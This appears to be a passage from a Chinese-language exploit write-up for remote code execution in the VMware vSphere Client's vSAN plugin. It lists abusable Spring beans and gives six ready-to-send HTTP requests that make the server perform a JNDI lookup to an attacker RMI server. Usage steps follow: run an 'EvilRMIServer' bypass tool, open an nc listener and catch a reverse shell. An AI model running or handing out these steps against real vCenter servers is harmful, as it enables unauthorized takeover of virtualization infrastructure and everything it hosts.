0x02 exploit

对beans对象进行重新构造，实现rce。

bean列表：

localizedMessageBundle
vsanWorkerThreadFactory
vsanThreadPoolImpl
vsanServiceBundleActivator
vsanServiceFactory
vsanProviderUtils_setVmodlHelper
vsanProviderUtils_setVsanServiceFactory
vsanQueryUtil_setDataService
vsanComponentsProviderImpl
capabilityPropertyProviderImpl
pbmDataProviderImpl
vsanCapabilityCacheManager
vsanCapabilityUtils_setVsanCapabilityCacheManager
vsanUtils_setMessageBundle
vsanFormatUtils_setUserSessionService

随风大佬使用的vsanProviderUtils_setVmodlHelper在我这边环境没测试成功，就选用了另外的bean进行测试，由于Vsphere UI使用的tomcat中间件，可以通过jndi rmi bypass(https://github.com/welk1n/JNDI-Injection-Bypass/blob/master/src/main/java/payloads/EvilRMIServer.java）远程执行命令。

Step1
https://host/ui/h5-vsan/rest/proxy/service/&vsanQueryUtil_setDataService/setTargetObject
{"methodInput":[null]}


Step2
https://host/ui/h5-vsan/rest/proxy/service/&vsanQueryUtil_setDataService/setStaticMethod
{"methodInput":["javax.naming.InitialContext.doLookup"]}

Step3
https://host/ui/h5-vsan/rest/proxy/service/&vsanQueryUtil_setDataService/setTargetMethod
{"methodInput":["doLookup"]}

Step4 
https://host/ui/h5-vsan/rest/proxy/service/&vsanQueryUtil_setDataService/setArguments
{"methodInput":[["rmi://attip:1097/ExecByEL"]]}

Step5
https://host/ui/h5-vsan/rest/proxy/service/&vsanQueryUtil_setDataService/prepare
{"methodInput":[]}

Step6
https://host/ui/h5-vsan/rest/proxy/service/&vsanQueryUtil_setDataService/invoke
{"methodInput":[]}

0x03 使用方法

  1. 启动rmi服务 java -cp JNDI-Injection-Bypass-1.0-SNAPSHOT-all.jar payloads.EvilRMIServer attip image-20210603201234855
  2. 启动reverse shell 侦听
nc -lvvp 5555
  1. 执行以上payload，得到reverse shell image-20210603201337539
